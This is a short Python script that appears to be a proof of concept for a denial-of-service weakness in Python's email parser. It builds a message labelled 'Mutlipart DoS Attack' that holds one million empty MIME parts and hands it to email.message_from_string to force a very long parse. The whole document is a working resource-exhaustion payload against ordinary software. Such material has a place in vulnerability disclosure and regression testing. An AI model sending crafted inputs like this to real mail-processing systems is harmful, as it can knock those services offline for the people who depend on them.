import email # This constant controls the number of multiparts in the email message. # Large numbers result in a long parsing time. NUMBER_OF_MULTIPARTS = 1000000 email_start = """\ From: sender@example.com To: recipient@example.com Subject: Mutlipart DoS Attack MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="n" This is a multi-part message in MIME format. """ email_multipart = "--n\n\nb\n\n" email_end = "--n--" email_message = email_start + email_multipart * NUMBER_OF_MULTIPARTS + email_end msg = email.message_from_string(email_message)